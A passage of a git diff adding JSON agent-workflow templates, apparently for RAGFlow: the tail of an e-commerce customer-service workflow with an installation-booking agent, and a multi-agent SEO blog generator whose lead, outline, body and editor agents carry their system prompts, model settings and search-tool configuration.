**Check if all three details** (Contact Number, Preferred Installation Time, Installation Address) have been provided.\n2. **If some details are missing**, acknowledge the ones provided and only ask for the missing information.\n3. Do **not repeat** the full request once some details are already known.\n4. Once all three details are collected, summarize and confirm them with the user.", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": " Installation Booking Agent" + }, + "dragging": false, + "id": "Agent:DeepCoatsDress", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 645.7337493836382, + "y": 409.2170327976632 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:PlentyCandiesRefuse@content}{Agent:ShinyCooksCall@content}{Agent:DeepCoatsDress@content}" + ] + }, + "label": "Message", + "name": "Message" + }, + "dragging": false, + "id": "Message:KhakiSymbolsMarry", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1241.2275787739002, + "y": 238.1004882989556 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "This workflow automatically replies to user inquiries about multi-product feature comparisons, single product features based on the knowledge base,and automatically records users' appointment installation information." + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 177, + "id": "Note:TamePlacesStay", + "measured": { + "height": 177, + "width": 352 + }, + "position": { + "x": -74.64018485740644, + "y": -278.09128552569814 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 352 + }, + { + "data": { + "form": { + "text": "The **Categorize** node can direct users to different handling workflows.\n" + }, + "label": "Note", + "name": "Note\uff1aEvent Classification" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:FuzzyOttersTake", + "measured": { + "height": 136, + "width": 255 + }, + "position": { + "x": 265.4869944440654, + "y": 356.5967388588942 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + }, + { + "data": { + "form": { + "text": "Use this node to set up the product information knowledge base." + }, + "label": "Note", + "name": "Note\uff1aFeature Comparison Knowledge Base" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 128, + "id": "Note:FloppyKingsRead", + "measured": { + "height": 128, + "width": 486 + }, + "position": { + "x": 559.4676154300545, + "y": -272.09359584713263 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 486 + }, + { + "data": { + "form": { + "text": "Use this node to set up the user guide knowledge base." + }, + "label": "Note", + "name": "Note\uff1aUsage Guide Knowledge Base" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 131, + "id": "Note:PlainTrainsTickle", + "measured": { + "height": 131, + "width": 492 + }, + "position": { + "x": 562.2432036803011, + "y": -115.13957305647553 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 492 + }, + { + "data": { + "form": { + "text": "This Agent looks up and summarizes the differences between different product models." + }, + "label": "Note", + "name": "Note\uff1aFeature Comparison Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 130, + "id": "Note:NinetyClubsAct", + "measured": { + "height": 130, + "width": 314 + }, + "position": { + "x": 1242.1094687263958, + "y": -101.26619228497279 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 314 + }, + { + "data": { + "form": { + "text": "This Agent queries the user guide knowledge base to get usage help." + }, + "label": "Note", + "name": "Note\uff1aUsage Guide Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 138, + "id": "Note:CleverViewsLearn", + "measured": { + "height": 138, + "width": 309 + }, + "position": { + "x": 1242.0223497932525, + "y": 71.55537317461697 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 309 + }, + { + "data": { + "form": { + "text": "This Agent collects the user\u2019s installation details through a multi-turn conversation." + }, + "label": "Note", + "name": "Note\uff1a Installation Booking Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 150, + "id": "Note:SoftFoxesTan", + "measured": { + "height": 150, + "width": 338 + }, + "position": { + "x": 976.444626825383, + "y": 504.7856230269402 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 338 + }, + { + "data": { + "form": { + "text": "https://huggingface.co/datasets/InfiniFlow/Ecommerce-Customer-Service-Workflow" + }, + "label": "Note", + "name": "Dataset" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 157, + "id": "Note:CyanLandsStudy", + "measured": { + "height": 157, + "width": 356 + }, + "position": { + "x": -74.238694872689, + "y": -77.31812780982554 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 356 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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+} diff --git a/agent/templates/generate_SEO_blog.json b/agent/templates/generate_SEO_blog.json new file mode 100644 index 0000000..2107e50 --- /dev/null +++ b/agent/templates/generate_SEO_blog.json @@ -0,0 +1,906 @@ +{ + "id": 8, + "title": { + "en": "Generate SEO Blog", + "zh": "生成SEO博客"}, + "description": { + "en": "This is a multi-agent version of the SEO blog generation workflow. It simulates a small team of AI “writers”, where each agent plays a specialized role — just like a real editorial team.", + "zh": "多智能体架构可根据简单的用户输入自动生成完整的SEO博客文章。模拟小型“作家”团队，其中每个智能体扮演一个专业角色——就像真正的编辑团队。"}, + "canvas_type": "Agent", + "dsl": { + "components": { + "Agent:LuckyApplesGrab": { + "downstream": [ + "Message:ModernSwansThrow" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Lead Agent**, responsible for initiating the multi-agent SEO blog generation process. You will receive the user\u2019s topic and blog goal, interpret the intent, and coordinate the downstream writing agents.\n\n# Goals\n\n1. Parse the user's initial input.\n\n2. Generate a high-level blog intent summary and writing plan.\n\n3. Provide clear instructions to the following Sub_Agents:\n\n - `Outline Agent` \u2192 Create the blog outline.\n\n - `Body Agent` \u2192 Write all sections based on outline.\n\n - `Editor Agent` \u2192 Polish and finalize the blog post.\n\n4. Merge outputs into a complete, readable blog draft in Markdown format.\n\n# Input\n\nYou will receive:\n\n- Blog topic\n\n- Target audience\n\n- Blog goal (e.g., SEO, education, product marketing)\n\n# Output Format\n\n```markdown\n\n## Parsed Writing Plan\n\n- **Topic**: [Extracted from user input]\n\n- **Audience**: [Summarized from user input]\n\n- **Intent**: [Inferred goal and style]\n\n- **Blog Type**: [e.g., Tutorial / Informative Guide / Marketing Content]\n\n- **Long-tail Keywords**: \n\n - keyword 1\n\n - keyword 2\n\n - keyword 3\n\n - ...\n\n## Instructions for Outline Agent\n\nPlease generate a structured outline including H2 and H3 headings. Assign 1\u20132 relevant keywords to each section. Keep it aligned with the user\u2019s intent and audience level.\n\n## Instructions for Body Agent\n\nWrite the full content based on the outline. Each section should be concise (500\u2013600 words), informative, and optimized for SEO. Use `Tavily Search` only when additional examples or context are needed.\n\n## Instructions for Editor Agent\n\nReview and refine the combined content. Improve transitions, ensure keyword integration, and add a meta title + meta description. Maintain Markdown formatting.\n\n\n## Guides\n\n- Do not generate blog content directly.\n\n- Focus on correct intent recognition and instruction generation.\n\n- Keep communication to downstream agents simple, scoped, and accurate.\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Agent", + "id": "Agent:SlickSpidersTurn", + "name": "Outline Agent", + "params": { + "delay_after_error": 1, + "description": "Generates a clear and SEO-friendly blog outline using H2/H3 headings based on the topic, audience, and intent provided by the lead agent. Each section includes suggested keywords for optimized downstream writing.\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Outline Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your sole responsibility is to create a clear, well-structured, and SEO-optimized blog outline.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + }, + { + "component_name": "Agent", + "id": "Agent:IcyPawsRescue", + "name": "Body Agent", + "params": { + "delay_after_error": 1, + "description": "Writes the full blog content section-by-section following the outline structure. It integrates target keywords naturally and uses Tavily Search only when additional facts or examples are needed.\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Body Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your job is to write the full blog content based on the outline created by the `OutlineWriter_Agent`.\n\n\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + }, + { + "component_name": "Agent", + "id": "Agent:TenderAdsAllow", + "name": "Editor Agent", + "params": { + "delay_after_error": 1, + "description": "Polishes and finalizes the entire blog post. Enhances clarity, checks keyword usage, improves flow, and generates a meta title and description for SEO. Operates after all sections are completed.\n\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Editor Agent**, the final agent in a multi-agent SEO blog writing workflow. You are responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n## Integration Responsibilities\n\n- Maintain alignment with Lead Agent's original intent and audience\n\n- Preserve the structure and keyword strategy from Outline Agent\n\n- Enhance and polish Body Agent's content without altering core information\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:ModernSwansThrow": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:LuckyApplesGrab@content}" + ] + } + }, + "upstream": [ + "Agent:LuckyApplesGrab" + ] + }, + "begin": { + "downstream": [ + "Agent:LuckyApplesGrab" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:LuckyApplesGrabend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:LuckyApplesGrab", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:LuckyApplesGrabstart-Message:ModernSwansThrowend", + "source": "Agent:LuckyApplesGrab", + "sourceHandle": "start", + "target": "Message:ModernSwansThrow", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:SlickSpidersTurnagentTop", + "source": "Agent:LuckyApplesGrab", + "sourceHandle": "agentBottom", + "target": "Agent:SlickSpidersTurn", + "targetHandle": "agentTop" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:IcyPawsRescueagentTop", + "source": "Agent:LuckyApplesGrab", + "sourceHandle": "agentBottom", + "target": "Agent:IcyPawsRescue", + "targetHandle": "agentTop" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:TenderAdsAllowagentTop", + "source": "Agent:LuckyApplesGrab", + "sourceHandle": "agentBottom", + "target": "Agent:TenderAdsAllow", + "targetHandle": "agentTop" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:SlickSpidersTurntool-Tool:ThreeWallsRingend", + "source": "Agent:SlickSpidersTurn", + "sourceHandle": "tool", + "target": "Tool:ThreeWallsRing", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:IcyPawsRescuetool-Tool:FloppyJokesItchend", + "source": "Agent:IcyPawsRescue", + "sourceHandle": "tool", + "target": "Tool:FloppyJokesItch", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n" + }, + "label": "Begin", + "name": "begin" + }, + "dragging": false, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 38.19445084117184, + "y": 183.9781832844475 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Lead Agent**, responsible for initiating the multi-agent SEO blog generation process. You will receive the user\u2019s topic and blog goal, interpret the intent, and coordinate the downstream writing agents.\n\n# Goals\n\n1. Parse the user's initial input.\n\n2. Generate a high-level blog intent summary and writing plan.\n\n3. Provide clear instructions to the following Sub_Agents:\n\n - `Outline Agent` \u2192 Create the blog outline.\n\n - `Body Agent` \u2192 Write all sections based on outline.\n\n - `Editor Agent` \u2192 Polish and finalize the blog post.\n\n4. Merge outputs into a complete, readable blog draft in Markdown format.\n\n# Input\n\nYou will receive:\n\n- Blog topic\n\n- Target audience\n\n- Blog goal (e.g., SEO, education, product marketing)\n\n# Output Format\n\n```markdown\n\n## Parsed Writing Plan\n\n- **Topic**: [Extracted from user input]\n\n- **Audience**: [Summarized from user input]\n\n- **Intent**: [Inferred goal and style]\n\n- **Blog Type**: [e.g., Tutorial / Informative Guide / Marketing Content]\n\n- **Long-tail Keywords**: \n\n - keyword 1\n\n - keyword 2\n\n - keyword 3\n\n - ...\n\n## Instructions for Outline Agent\n\nPlease generate a structured outline including H2 and H3 headings. Assign 1\u20132 relevant keywords to each section. Keep it aligned with the user\u2019s intent and audience level.\n\n## Instructions for Body Agent\n\nWrite the full content based on the outline. Each section should be concise (500\u2013600 words), informative, and optimized for SEO. Use `Tavily Search` only when additional examples or context are needed.\n\n## Instructions for Editor Agent\n\nReview and refine the combined content. Improve transitions, ensure keyword integration, and add a meta title + meta description. Maintain Markdown formatting.\n\n\n## Guides\n\n- Do not generate blog content directly.\n\n- Focus on correct intent recognition and instruction generation.\n\n- Keep communication to downstream agents simple, scoped, and accurate.\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Lead Agent" + }, + "id": "Agent:LuckyApplesGrab", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 350, + "y": 200 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:LuckyApplesGrab@content}" + ] + }, + "label": "Message", + "name": "Response" + }, + "dragging": false, + "id": "Message:ModernSwansThrow", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 669.394830760932, + "y": 190.72421137520644 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "Generates a clear and SEO-friendly blog outline using H2/H3 headings based on the topic, audience, and intent provided by the lead agent. Each section includes suggested keywords for optimized downstream writing.\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Outline Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your sole responsibility is to create a clear, well-structured, and SEO-optimized blog outline.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Outline Agent" + }, + "dragging": false, + "id": "Agent:SlickSpidersTurn", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 100.60137004146719, + "y": 411.67654846431367 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "Writes the full blog content section-by-section following the outline structure. It integrates target keywords naturally and uses Tavily Search only when additional facts or examples are needed.\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Body Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your job is to write the full blog content based on the outline created by the `OutlineWriter_Agent`.\n\n\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", 